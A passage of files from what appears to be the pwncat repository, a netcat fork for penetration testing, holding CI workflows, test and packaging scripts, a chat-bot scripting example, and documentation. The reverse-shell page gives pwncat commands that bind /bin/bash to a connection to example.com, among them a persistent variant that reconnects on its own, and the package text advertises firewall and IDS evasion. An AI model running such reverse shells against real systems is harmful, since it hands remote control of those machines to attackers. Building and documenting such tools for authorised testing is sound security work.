"${SCRIPTPATH}" -type d -exec basename {} \; | grep -E '^[0-9].*' | sort 14 | } 15 | 16 | 17 | ### 18 | ### Validate command line argument is present 19 | ### 20 | if [ "${#}" -lt "1" ]; then 21 | echo "Error, missing required argument." 22 | print_usage 23 | exit 1 24 | fi 25 | 26 | 27 | ### 28 | ### Validate command line argument is correct directory 29 | ### 30 | if [ ! -d "${SCRIPTPATH}/${1}" ]; then 31 | echo "Error, provided argument is not a valid directory." 32 | print_usage 33 | exit 1 34 | fi 35 | 36 | 37 | ### 38 | ### Run the tests from a directory 39 | ### 40 | TESTDIR="${SCRIPTPATH}/${1}" 41 | find "${TESTDIR}" -name '*.sh' -type f | sort | while read -r -d $'\n' file; do 42 | # Script # Bind addr # Bind port # Wait # Runs # Python 43 | "${file}" "${2:-localhost}" "${3:-4444}" "${4:-2}" "${5:-1}" "${6:-}" 44 | done 45 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/bug_report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: "\U0001F41B Bug report" 3 | about: Something is not working? Create a report to help us improve 4 | title: '' 5 | labels: bug 6 | assignees: '' 7 | 8 | --- 9 | 10 | 15 | 16 | 17 | ### ISSUE TYPE 18 | 19 | - Bug Report 20 | 21 | 22 | 23 | 24 | ### OS / ENVIRONMENT 25 | 26 | 1. [ ] Operating system: 27 | 2. [ ] Python version: 28 | 3. [ ] Command with highest logging output level is attached. 29 | 30 | 31 | 32 | ### STEPS TO REPRODUCE 33 | 34 | 35 | 36 | 37 | 38 | ### EXPECTED BEHAVIOUR 39 | 40 | 41 | 42 | 43 | ### ACTUAL BEHAVIOUR 44 | 45 | 46 | 47 | 48 | -------------------------------------------------------------------------------- /LICENSE.txt: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 cytopia 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /pse/chat-bot/README.md: -------------------------------------------------------------------------------- 1 | # PSE: Chat bot 2 | 3 | A simple script that makes the remote peer site behave like a bot replying to your questions. 4 | 5 | ## Usage 6 | 7 | Use high verbosity to see how the data gets transformed. 8 | 9 | ### Server 10 | 11 | **Note:** The server side is using `/bin/cat` as its command in order to echo the messages back to the client. Then we hook into the sending part and simply overwrite the replies based on the received input. 12 | ```bash 13 | pwncat -vvvv -l localhost 4444 \ 14 | --exec /bin/cat \ 15 | --script-send pse/chat-bot/pse-chat_bot.py 16 | ``` 17 | 18 | ### Client 19 | ```bash 20 | pwncat localhost 4444 21 | ``` 22 | 23 | ### In action 24 | 25 | The following shows it in action. `>` represents sending data to the server and `<` are the replies. 26 | ``` 27 | > some data 28 | < Be polite and greet first. 29 | > hi 30 | < Nice to meet you, what is your name? 31 | > cytopia 32 | < OK, I call you: cytopia 33 | > that's right 34 | < Hi cytopia, How is the weather? 35 | > it's pretty good 36 | < Hi cytopia, Why are you chatting to a bot? 37 | > I don't know 38 | < Hi cytopia, Are you bored? 39 | > Maybe 40 | < Hi cytopia, Have you had dinner? 41 | ``` 42 | -------------------------------------------------------------------------------- /.github/workflows/linting.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | ### 4 | ### Lints all generic and json files in the whole git repository 5 | ### 6 | 7 | name: linting 8 | on: 9 | pull_request: 10 | push: 11 | branches: 12 | - master 13 | tags: 14 | 15 | jobs: 16 | lint: 17 | runs-on: ubuntu-latest 18 | strategy: 19 | fail-fast: False 20 | matrix: 21 | target: 22 | - Linting 23 | name: "[ ${{ matrix.target }} ]" 24 | steps: 25 | - name: Checkout repository 26 | uses: actions/checkout@v2 27 | 28 | - name: Lint files 29 | run: | 30 | make _lint-files 31 | 32 | - name: "Check equal version in CHANGELOG.md, setup.py and pwncat -v" 33 | run: | 34 | make _lint-version 35 | 36 | - name: "Check equal usage in README.md and pwncat -h" 37 | run: | 38 | make _lint-usage 39 | 40 | - name: Check up-to-date docs 41 | run: | 42 | make _lint-docs 43 | 44 | - name: Check up-to-date man page 45 | run: | 46 | make _lint-man 47 | 48 | - name: Check up-to-date GitHub Action workflow pipelines 49 | run: | 50 | make _lint-pipeline 51 | -------------------------------------------------------------------------------- /.github/workflows/building.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | ### 4 | ### Lints all generic and json files in the whole git repository 5 | ### 6 | 7 | name: building 8 | on: 9 | pull_request: 10 | push: 11 | branches: 12 | - master 13 | tags: 14 | 15 | jobs: 16 | build: 17 | runs-on: ubuntu-latest 18 | strategy: 19 | fail-fast: False 20 | matrix: 21 | version: 22 | - '2.7' 23 | - '3.5' 24 | - '3.6' 25 | - '3.7' 26 | - '3.8' 27 | 28 | name: "[${{ matrix.version }}]" 29 | steps: 30 | - name: Checkout repository 31 | uses: actions/checkout@v2 32 | 33 | - name: Build source distribution 34 | run: | 35 | make _build-source_dist PYTHON_VERSION=${version} 36 | env: 37 | version: ${{ matrix.version }} 38 | 39 | - name: Build binary distribution 40 | run: | 41 | make _build-binary_dist PYTHON_VERSION=${version} 42 | env: 43 | version: ${{ matrix.version }} 44 | 45 | - name: Build Python package 46 | run: | 47 | make _build-python_package PYTHON_VERSION=${version} 48 | env: 49 | version: ${{ matrix.version }} 50 | -------------------------------------------------------------------------------- /tests/pipelines/_gen-smoke.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -e 4 | set -u 5 | set -o pipefail 6 | 7 | SCRIPT_PATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" 8 | 9 | TPL_NAME="template-smoke.yml.tpl" 10 | TPL_PATH="${SCRIPT_PATH}/${TPL_NAME}" 11 | FLW_PATH="${SCRIPT_PATH}/../../.github/workflows" 12 | 13 | 14 | ### 15 | ### Build Matrix 16 | ### 17 | VERSION_MATRIX=( 18 | "2.7" 19 | "3.5" 20 | "3.6" 21 | "3.7" 22 | "3.8" 23 | ) 24 | 25 | 26 | ### 27 | ### Ensure old flows are removed 28 | ### 29 | rm -f "${FLW_PATH}/smoke-"* 30 | 31 | 32 | ### 33 | ### Ensure new flows are created 34 | ### 35 | for v in "${VERSION_MATRIX[@]}"; do 36 | py="${v}" 37 | 38 | flw_file="${FLW_PATH}/smoke-${py}.yml" 39 | flw_name="smoke-${py}" 40 | job_name="[smoke] python-${py}" 41 | 42 | printf "%s\\n" "-----------------------------------------------------------" 43 | printf "file: %s\\n" "${flw_file}" 44 | printf "flw name: %s\\n" "${flw_name}" 45 | printf "job name: %s\\n" "${job_name}" 46 | printf "Python: %s\\n" "${py}" 47 | 48 | # shellcheck disable=SC2002 49 | cat "${TPL_PATH}" \ 50 | | sed "s/__WORKFLOW_NAME__/${flw_name}/g" \ 51 | | sed "s/__PYTHON_VERSION__/${py}/g" \ 52 | | sed "s/__JOB_NAME__/${job_name}/g" \ 53 | > "${flw_file}" 54 | done 55 | -------------------------------------------------------------------------------- /share/doc/usage/reverse-shell.rst: -------------------------------------------------------------------------------- 1 | ************* 2 | Reverse Shell 3 | ************* 4 | 5 | 6 | .. note:: 7 | 8 | :ref:`what_is_a_reverse_shell` 9 | 10 | 11 | ``pwncat`` will by default connect to both, IPv4 and IPv6 and initiate a successful connection to whatever protocol is available. 12 | 13 | 14 | TCP Reverse shell 15 | ================= 16 | 17 | Default TCP reverse shell connecting to ``example.com:4444`` which behaves exactly as ``nc``. 18 | 19 | .. code-block:: bash 20 | 21 | pwncat -e '/bin/bash' example.com 4444 22 | 23 | 24 | The following is a Ctrl+c proof TCP reverse shell. If you stop your local listener, the reverse shell will automatically connect back to you indefinitely. 25 | 26 | .. code-block:: bash 27 | 28 | pwncat -e '/bin/bash' example.com 4444 --reconn --recon-wait 1 29 | 30 | 31 | UDP Reverse shell 32 | ================= 33 | 34 | Default UDP reverse shell which behaves exactly as ``nc``. 35 | 36 | .. code-block:: bash 37 | 38 | pwncat -e '/bin/bash' example.com 4444 -u 39 | 40 | 41 | The following is a Ctrl+c proof UDP reverse shell. If you stop your local listener, the reverse shell will automatically connect back to you indefinitely. 42 | 43 | .. code-block:: bash 44 | 45 | pwncat -e '/bin/bash' example.com 4444 -u --ping-intvl 1 46 | -------------------------------------------------------------------------------- /pse/chat-bot/pse-chat_bot.py: -------------------------------------------------------------------------------- 1 | """Greet Bot.""" 2 | 3 | PSE_BOT_QUESTIONS = [ 4 | "How is the weather?", 5 | "How old are you?", 6 | "What do you do today?", 7 | "Do you like Python?", 8 | "Have you had dinner?", 9 | "Can you guess my name?", 10 | "Are you bored?", 11 | "Why are you chatting to a bot?", 12 | "Do you expect me to answer properly?", 13 | ] 14 | 15 | 16 | def transform(data, pse): 17 | """Transform.""" 18 | global PSE_BOT_QUESTIONS 19 | 20 | # Setup custom data structure 21 | if pse.store is None: 22 | pse.store = {} 23 | if "bot" not in pse.store: 24 | pse.store["bot"] = {} 25 | 26 | from random import randrange 27 | 28 | if "greet" not in pse.store["bot"]: 29 | if any(x in data for x in ["hi", "helo", "halo", "hallo", "hello"]): 30 | pse.store["bot"]["greet"] = True 31 | return "Nice to meet you, what is your name?\n" 32 | return "Be polite and greet first.\n" 33 | 34 | if "name" not in pse.store["bot"]: 35 | pse.store["bot"]["name"] = data.rstrip() 36 | return "OK, I call you: {}".format(data) 37 | 38 | index = randrange(0, len(PSE_BOT_QUESTIONS)-1) 39 | return "Hi {}, {}\n".format(pse.store["bot"]["name"], PSE_BOT_QUESTIONS[index]) 40 | -------------------------------------------------------------------------------- /tests/smoke/run.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -e 4 | set -u 5 | set -o pipefail 6 | 7 | SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" 8 | SOURCEPATH="${SCRIPTPATH}/../.lib/conf.sh" 9 | COMPOSEDIR="${SCRIPTPATH}/" 10 | # shellcheck disable=SC1090 11 | source "${SOURCEPATH}" 12 | 13 | 14 | # ------------------------------------------------------------------------------------------------- 15 | # SETTINGS 16 | # ------------------------------------------------------------------------------------------------- 17 | WAIT_STARTUP=6 18 | WAIT_SHUTDOWN=6 19 | 20 | 21 | # ------------------------------------------------------------------------------------------------- 22 | # FUNCTIONS 23 | # ------------------------------------------------------------------------------------------------- 24 | print_usage() { 25 | echo "${0} [PYTHON-VERSION]" 26 | echo "Valid dirs:" 27 | echo 28 | find "${SCRIPTPATH}" -type d -exec basename {} \; | grep -E '^[0-9].*' | sort 29 | } 30 | 31 | 32 | # ------------------------------------------------------------------------------------------------- 33 | # CHECKS 34 | # ------------------------------------------------------------------------------------------------- 35 | 36 | if [ "${#}" -lt "1" ]; then 37 | print_usage 38 | exit 1 39 | fi 40 | 41 | TEST_NAME="${1}" 42 | PYTHON_VERSION="${2:-3.8}" 43 | 44 | TEST_START="${SCRIPTPATH}/${TEST_NAME}/run.sh" 45 | 46 | "${TEST_START}" "${PYTHON_VERSION}" 47 | -------------------------------------------------------------------------------- /share/doc/index.rst: -------------------------------------------------------------------------------- 1 | .. :hidden: 2 | 3 | ******************** 4 | pwncat documentation 5 | ******************** 6 | 7 | .. 8 | |img_banner| 9 | 10 | `pwncat `_ is a fully compatible netcat fork written in Python with many more aggressive network features on top. 11 | 12 | It comes with a **Python Scripting Engine** (PSE) that allows you to manipulate incoming and outgoing traffic to your needs. This can reach from wrapping current TCP/UDP traffic into higher protocols such as HTTP, FTP, Telnet, etc or even go to encrypting and decrypting your traffic. 13 | 14 | Besides regular netcat features like full IPv4, IPv6 and UDP/TCP, IP ToS, port scanning, server/client, bind- and reverse shells, it also comes with pivoting features, ssh-less local and remote port-forwarding, port-hopping, target self-injection and many more. 15 | 16 | 17 | Contents 18 | ======== 19 | 20 | .. toctree:: 21 | :maxdepth: 3 22 | 23 | installation 24 | usage 25 | 26 | .. toctree:: 27 | :caption: Basic Usage 28 | :maxdepth: 2 29 | 30 | usage/reverse-shell 31 | usage/bind-shell 32 | usage/local-port-forwarding 33 | usage/remote-port-forwarding 34 | usage/send-receive-files 35 | usage/portscanning 36 | 37 | .. toctree:: 38 | :caption: Features 39 | :maxdepth: 2 40 | 41 | pse 42 | 43 | .. toctree:: 44 | :caption: Code 45 | :maxdepth: 2 46 | 47 | code/api 48 | code/coverage 49 | 50 | .. toctree:: 51 | :caption: Misc 52 | :maxdepth: 2 53 | 54 | faq 55 | github 56 | pypi 57 | -------------------------------------------------------------------------------- /share/pkg/.lib/blackarch.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -e 4 | set -u 5 | set -o pipefail 6 | 7 | 8 | VERSION="$( curl -sS --fail \ 9 | "https://raw.githubusercontent.com/cytopia/pwncat/master/setup.py" \ 10 | | grep -E '^\s+version=' \ 11 | | awk -F'"' '{print $2}' \ 12 | )" 13 | 14 | 15 | SHA512="$( curl -sS --fail -L \ 16 | "https://github.com/cytopia/pwncat/archive/v${VERSION}.tar.gz" --output - \ 17 | | sha512sum \ 18 | | awk '{print $1}' \ 19 | )" 20 | 21 | 22 | cat <<- EOF 23 | # This file is part of BlackArch Linux ( https://www.blackarch.org/ ). 24 | # See COPYING for license details. 25 | 26 | pkgname=pwncat 27 | pkgver=${VERSION} 28 | pkgrel=1 29 | groups=('blackarch' 'blackarch-backdoor' 'blackarch-scanner' 'blackarch-proxy' 30 | 'blackarch-networking') 31 | pkgdesc='Bind and reverse shell handler with FW/IDS/IPS evasion, self-inject and port-scanning.' 32 | url='http://pwncat.org/' 33 | license=('MIT') 34 | arch=('any') 35 | depends=('python') 36 | source=("\$pkgname-\$pkgver.tar.gz::https://github.com/cytopia/\$pkgname/archive/v\$pkgver.tar.gz") 37 | sha512sums=('${SHA512}') 38 | 39 | package() { 40 | cd "\$pkgname-\$pkgver" 41 | 42 | install -Dm 755 bin/\$pkgname "\$pkgdir/usr/bin/\$pkgname" 43 | install -Dm 644 man/\$pkgname.1 -t "\$pkgdir/usr/share/man/man1" 44 | install -Dm 644 LICENSE.txt "\$pkgdir/usr/share/licenses/\$pkgname/LICENSE" 45 | install -Dm 644 README.md CHANGELOG.md -t "\$pkgdir/usr/share/doc/\$pkgname/" 46 | 47 | cp --no-preserve=ownership -a pse "\$pkgdir/usr/share/doc/\$pkgname/" 48 | } 49 | 50 | EOF 51 | -------------------------------------------------------------------------------- /share/doc/_static/css/pwncat.css: -------------------------------------------------------------------------------- 1 | /************************************************************ 2 | * MENU 3 | ***********************************************************/ 4 | 5 | /* overwrite logo dimensions */ 6 | .wy-side-nav-search>a img.logo, 7 | .wy-side-nav-search .wy-dropdown>a img.logo { 8 | width: 128px; 9 | } 10 | 11 | /* overwrite top-left serach div */ 12 | .wy-side-nav-search { 13 | background-color: #343131; 14 | } 15 | 16 | /* sidebar category headlines */ 17 | .wy-menu-vertical header, .wy-menu-vertical p.caption { 18 | margin-top: 25px; 19 | margin-bottom: 15px; 20 | padding: 0 1.518em; 21 | padding-top:10px; 22 | border-top: 1px solid #9b9b9b; 23 | font-size: 100%; 24 | } 25 | 26 | 27 | /************************************************************ 28 | * Code blocks 29 | ***********************************************************/ 30 | 31 | /* Disable annoying scrollbar in code-blocks */ 32 | .codeblock, 33 | pre.literal-block, 34 | .rst-content .literal-block, 35 | .rst-content pre.literal-block, 36 | .rst-content div[class^='highlight'], 37 | div[class^='highlight'] { 38 | overflow: hidden !important; 39 | } 40 | /* bg color for code windows */ 41 | .highlight { 42 | background-color: #ffffff !important; 43 | } 44 | .rst-content .code-block-caption { 45 | text-align: left !important; 46 | } 47 | /* 48 | div.rtd-pro.rtd-pro-footer { 49 | display: none; 50 | } 51 | */ 52 | 53 | 54 | /************************************************************ 55 | * Custom overwrites 56 | ***********************************************************/ 57 | table.install, table.install th.head { 58 | text-align: center; 59 | } 60 | /* 61 | div.contents p { 62 | margin-bottom: 10px; 63 | } 64 | */ 65 | -------------------------------------------------------------------------------- /share/pkg/Makefile: -------------------------------------------------------------------------------- 1 | SHELL = bash 2 | 3 | # View versions here: https://repology.org/project/pwncat/versions 4 | 5 | 6 | .PHONY: brew 7 | brew: 8 | @mkdir -p $@ 9 | .lib/brew.sh > $@/pwncat.rb 10 | @echo 11 | @echo "Update here" 12 | @echo "https://github.com/Homebrew/homebrew-core/blob/master/Formula/pwncat.rb" 13 | @echo 14 | 15 | 16 | .PHONY: blackarch 17 | blackarch: 18 | @mkdir -p $@ 19 | .lib/blackarch.sh > $@/PKGBUILD 20 | @echo "pwncat" > $@/to-release 21 | @echo 22 | @echo "Update here" 23 | @echo "https://github.com/BlackArch/blackarch/blob/master/packages/pwncat/PKGBUILD" 24 | @echo "https://github.com/BlackArch/blackarch/blob/master/lists/to-release" 25 | @echo 26 | 27 | 28 | .PHONY: nixos 29 | nixos: 30 | @mkdir -p $@ 31 | docker run -it --rm \ 32 | -v $(PWD)/$@:/data \ 33 | --entrypoint=sh \ 34 | python:3-alpine -c " \ 35 | pip install nixpkgs-pytools \ 36 | && python-package-init pwncat \ 37 | && cp default.nix /data/default.nix \ 38 | && chown $$(id -u):$$(id -g) /data/default.nix \ 39 | " 40 | @echo 41 | @echo "Update here" 42 | @echo "https://github.com/NixOS/nixpkgs/blob/master/pkgs/tools/security/pwncat/default.nix" 43 | @echo 44 | 45 | 46 | .PHONY: pentoo 47 | pentoo: 48 | @mkdir -p $@ 49 | docker run -it --rm \ 50 | -v $(PWD)/.lib:/tmp \ 51 | -v $(PWD)/pentoo:/data \ 52 | --entrypoint=sh \ 53 | python:2-alpine -c " \ 54 | apk add \ 55 | bash \ 56 | curl \ 57 | gcc \ 58 | python2-dev \ 59 | musl-dev \ 60 | && pip install pyblake2 \ 61 | && /tmp/pentoo.sh > /data/Manifest \ 62 | && chown $$(id -u):$$(id -g) /data/Manifest \ 63 | " 64 | @echo 65 | @echo "Update here" 66 | @echo "https://github.com/pentoo/pentoo-overlay/blob/master/net-analyzer/pwncat/Manifest" 67 | @echo 68 | -------------------------------------------------------------------------------- /docs/css/mypy.css: -------------------------------------------------------------------------------- 1 | /* CSS for type check coverage reports */ 2 | 3 | /* 4 | Used by both summary and file. 5 | */ 6 | body { 7 | font-family: "Helvetica Neue", sans-serif; 8 | } 9 | 10 | /* 11 | Used only by summary. 12 | */ 13 | 14 | h1 { 15 | text-align: center; 16 | font-size: 135%; 17 | margin: 20px; 18 | } 19 | 20 | table.summary { 21 | border-collapse: collapse; 22 | margin-left: 7%; 23 | margin-right: 7%; 24 | width: 85%; 25 | } 26 | 27 | table caption { 28 | margin: 1em; 29 | } 30 | 31 | table.summary, tr.summary, th.summary, td.summary { 32 | border: 1px solid #aaa; 33 | } 34 | 35 | th.summary, td.summary { 36 | padding: 0.4em; 37 | } 38 | 39 | td.summary a { 40 | text-decoration: none; 41 | } 42 | 43 | .summary-quality-0 { 44 | background-color: #dfd; 45 | } 46 | 47 | .summary-quality-1 { 48 | background-color: #ffa; 49 | } 50 | 51 | .summary-quality-2 { 52 | background-color: #faa; 53 | } 54 | 55 | td.summary-filename, th.summary-filename { 56 | text-align: left; 57 | } 58 | 59 | td.summary-filename { 60 | width: 50%; 61 | } 62 | 63 | .summary-precision { 64 | text-align: center; 65 | } 66 | 67 | .summary-lines { 68 | text-align: center; 69 | } 70 | 71 | /* 72 | Used only by file. 73 | */ 74 | 75 | td.table-lines { 76 | text-align: right; 77 | padding-right: 0.5em; 78 | } 79 | 80 | td.table-code { } 81 | 82 | span.lineno { 83 | text-align: right; 84 | } 85 | 86 | a:link.lineno, a:visited.lineno { 87 | color: #999; text-decoration: none; 88 | } 89 | 90 | a:hover.lineno, a:active.lineno { 91 | color: #000; text-decoration: underline; 92 | } 93 | 94 | .line-empty, .line-precise { 95 | background-color: #dfd; 96 | } 97 | 98 | .line-imprecise { 99 | background-color: #ffa; 100 | } 101 | 102 | .line-any, .line-unanalyzed { 103 | background-color: #faa; 104 | } 105 | -------------------------------------------------------------------------------- /share/doc/usage/local-port-forwarding.rst: -------------------------------------------------------------------------------- 1 | ********************* 2 | Local port forwarding 3 | ********************* 4 | 5 | Port forwarding is a pivoting feature of pwncat and works without the need of SSH. 6 | 7 | 8 | How does it work? 9 | ================= 10 | 11 | **Scenario:** 12 | 13 | 1. Alice can be reached from the Outside (TCP/UDP) 14 | 2. Bob can only be reached from Alice's machine 15 | 3. pwncat makes Bob's MySQL server available on Alice's machine 16 | 17 | .. code-block:: bash 18 | 19 | | | 20 | Outside | DMZ | private subnet 21 | | | 22 | | | 23 | +-----------------+ TCP +-----------------+ TCP +-----------------+ 24 | | The cat | -----|----> | Alice | -----|----> | Bob | 25 | | | | | pwncat | | | MySQL | 26 | | 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 | 27 | +-----------------+ | +-----------------+ | +-----------------+ 28 | pwncat 72.0.0.1 3306 | pwncat \ | 29 | | -L 72.0.0.1:3306 \ | 30 | | 10.0.0.1 3306 | 31 | 32 | Examples 33 | ======== 34 | 35 | TCP remote port forwarding 36 | -------------------------- 37 | 38 | The following examples makes a remote MySQL server (remote port ``3306``) available on current machine 39 | on every interface on port ``5000`` 40 | 41 | .. code-block:: bash 42 | 43 | pwncat -L 0.0.0.0:5000 everythingcli.org 3306 44 | 45 | 46 | UDP remote port forwarding 47 | -------------------------- 48 | 49 | The following examples makes a remote MySQL server (remote port ``3306``) available on current machine 50 | on every interface on port ``5000`` and converts traffic on the pwncat listening side to UDP. 51 | 52 | .. code-block:: bash 53 | 54 | pwncat -L 0.0.0.0:5000 everythingcli.org 3306 -u 55 | -------------------------------------------------------------------------------- /.github/workflows/smoke-2.7.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # https://help.github.com/en/actions/language-and-framework-guides/using-python-with-github-actions 3 | # https://github.com/actions/python-versions/blob/master/versions-manifest.json 4 | name: smoke-2.7 5 | on: 6 | pull_request: 7 | push: 8 | branches: 9 | - master 10 | tags: 11 | 12 | jobs: 13 | test: 14 | runs-on: ubuntu-latest 15 | strategy: 16 | fail-fast: False 17 | 18 | name: "[smoke] python-2.7" 19 | steps: 20 | # ------------------------------------------------------------ 21 | # Setup 22 | # ------------------------------------------------------------ 23 | - name: Checkout repository 24 | uses: actions/checkout@v2 25 | 26 | - name: Docker versions 27 | shell: bash 28 | run: | 29 | docker version 30 | 31 | - name: Docker Compose versions 32 | shell: bash 33 | run: | 34 | docker-compose version 35 | 36 | # ------------------------------------------------------------ 37 | # Tests: Behaviour 38 | # ------------------------------------------------------------ 39 | 40 | - name: "[keep-open] before send (kill srv)" 41 | shell: bash 42 | run: | 43 | make _smoke-keep_open-kill_srv-before_send PYTHON_VERSION=2.7 44 | 45 | - name: "[keep-open] after send (kill srv)" 46 | shell: bash 47 | run: | 48 | make _smoke-keep_open-kill_srv-send_data PYTHON_VERSION=2.7 49 | 50 | - name: "[port scan] tcp (no banner)" 51 | shell: bash 52 | run: | 53 | make _smoke-tcp_port_scan-no_banner PYTHON_VERSION=2.7 54 | 55 | - name: "[port scan] tcp (with banner)" 56 | shell: bash 57 | run: | 58 | make _smoke-tcp_port_scan-with_banner PYTHON_VERSION=2.7 59 | 60 | - name: "[port scan] udp (no banner)" 61 | shell: bash 62 | run: | 63 | make _smoke-udp_port_scan-no_banner PYTHON_VERSION=2.7 64 | 65 | - name: "[port scan] udp (with banner)" 66 | shell: bash 67 | run: | 68 | make _smoke-udp_port_scan-with_banner PYTHON_VERSION=2.7 69 | -------------------------------------------------------------------------------- /.github/workflows/smoke-3.5.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # https://help.github.com/en/actions/language-and-framework-guides/using-python-with-github-actions 3 | # https://github.com/actions/python-versions/blob/master/versions-manifest.json 4 | name: smoke-3.5 5 | on: 6 | pull_request: 7 | push: 8 | branches: 9 | - master 10 | tags: 11 | 12 | jobs: 13 | test: 14 | runs-on: ubuntu-latest 15 | strategy: 16 | fail-fast: False 17 | 18 | name: "[smoke] python-3.5" 19 | steps: 20 | # ------------------------------------------------------------ 21 | # Setup 22 | # ------------------------------------------------------------ 23 | - name: Checkout repository 24 | uses: actions/checkout@v2 25 | 26 | - name: Docker versions 27 | shell: bash 28 | run: | 29 | docker version 30 | 31 | - name: Docker Compose versions 32 | shell: bash 33 | run: | 34 | docker-compose version 35 | 36 | # ------------------------------------------------------------ 37 | # Tests: Behaviour 38 | # ------------------------------------------------------------ 39 | 40 | - name: "[keep-open] before send (kill srv)" 41 | shell: bash 42 | run: | 43 | make _smoke-keep_open-kill_srv-before_send PYTHON_VERSION=3.5 44 | 45 | - name: "[keep-open] after send (kill srv)" 46 | shell: bash 47 | run: | 48 | make _smoke-keep_open-kill_srv-send_data PYTHON_VERSION=3.5 49 | 50 | - name: "[port scan] tcp (no banner)" 51 | shell: bash 52 | run: | 53 | make _smoke-tcp_port_scan-no_banner PYTHON_VERSION=3.5 54 | 55 | - name: "[port scan] tcp (with banner)" 56 | shell: bash 57 | run: | 58 | make _smoke-tcp_port_scan-with_banner PYTHON_VERSION=3.5 59 | 60 | - name: "[port scan] udp (no banner)" 61 | shell: bash 62 | run: | 63 | make _smoke-udp_port_scan-no_banner PYTHON_VERSION=3.5 64 | 65 | - name: "[port scan] udp (with banner)" 66 | shell: bash 67 | run: | 68 | make _smoke-udp_port_scan-with_banner PYTHON_VERSION=3.5 69 | -------------------------------------------------------------------------------- /.github/workflows/smoke-3.6.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # https://help.github.com/en/actions/language-and-framework-guides/using-python-with-github-actions 3 | # https://github.com/actions/python-versions/blob/master/versions-manifest.json 4 | name: smoke-3.6 5 | on: 6 | pull_request: 7 | push: 8 | branches: 9 | - master 10 | tags: 11 | 12 | jobs: 13 | test: 14 | runs-on: ubuntu-latest 15 | strategy: 16 | fail-fast: False 17 | 18 | name: "[smoke] python-3.6" 19 | steps: 20 | # ------------------------------------------------------------ 21 | # Setup 22 | # ------------------------------------------------------------ 23 | - name: Checkout repository 24 | uses: actions/checkout@v2 25 | 26 | - name: Docker versions 27 | shell: bash 28 | run: | 29 | docker version 30 | 31 | - name: Docker Compose versions 32 | shell: bash 33 | run: | 34 | docker-compose version 35 | 36 | # ------------------------------------------------------------ 37 | # Tests: Behaviour 38 | # ------------------------------------------------------------ 39 | 40 | - name: "[keep-open] before send (kill srv)" 41 | shell: bash 42 | run: | 43 | make _smoke-keep_open-kill_srv-before_send PYTHON_VERSION=3.6 44 | 45 | - name: "[keep-open] after send (kill srv)" 46 | shell: bash 47 | run: | 48 | make _smoke-keep_open-kill_srv-send_data PYTHON_VERSION=3.6 49 | 50 | - name: "[port scan] tcp (no banner)" 51 | shell: bash 52 | run: | 53 | make _smoke-tcp_port_scan-no_banner PYTHON_VERSION=3.6 54 | 55 | - name: "[port scan] tcp (with banner)" 56 | shell: bash 57 | run: | 58 | make _smoke-tcp_port_scan-with_banner PYTHON_VERSION=3.6 59 | 60 | - name: "[port scan] udp (no banner)" 61 | shell: bash 62 | run: | 63 | make _smoke-udp_port_scan-no_banner PYTHON_VERSION=3.6 64 | 65 | - name: "[port scan] udp (with banner)" 66 | shell: bash 67 | run: | 68 | make _smoke-udp_port_scan-with_banner PYTHON_VERSION=3.6 69 | -------------------------------------------------------------------------------- /.github/workflows/smoke-3.7.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # https://help.github.com/en/actions/language-and-framework-guides/using-python-with-github-actions 3 | # https://github.com/actions/python-versions/blob/master/versions-manifest.json 4 | name: smoke-3.7 5 | on: 6 | pull_request: 7 | push: 8 | branches: 9 | - master 10 | tags: 11 | 12 | jobs: 13 | test: 14 | runs-on: ubuntu-latest 15 | strategy: 16 | fail-fast: False 17 | 18 | name: "[smoke] python-3.7" 19 | steps: 20 | # ------------------------------------------------------------ 21 | # Setup 22 | # ------------------------------------------------------------ 23 | - name: Checkout repository 24 | uses: actions/checkout@v2 25 | 26 | - name: Docker versions 27 | shell: bash 28 | run: | 29 | docker version 30 | 31 | - name: Docker Compose versions 32 | shell: bash 33 | run: | 34 | docker-compose version 35 | 36 | # ------------------------------------------------------------ 37 | # Tests: Behaviour 38 | # ------------------------------------------------------------ 39 | 40 | - name: "[keep-open] before send (kill srv)" 41 | shell: bash 42 | run: | 43 | make _smoke-keep_open-kill_srv-before_send PYTHON_VERSION=3.7 44 | 45 | - name: "[keep-open] after send (kill srv)" 46 | shell: bash 47 | run: | 48 | make _smoke-keep_open-kill_srv-send_data PYTHON_VERSION=3.7 49 | 50 | - name: "[port scan] tcp (no banner)" 51 | shell: bash 52 | run: | 53 | make _smoke-tcp_port_scan-no_banner PYTHON_VERSION=3.7 54 | 55 | - name: "[port scan] tcp (with banner)" 56 | shell: bash 57 | run: | 58 | make _smoke-tcp_port_scan-with_banner PYTHON_VERSION=3.7 59 | 60 | - name: "[port scan] udp (no banner)" 61 | 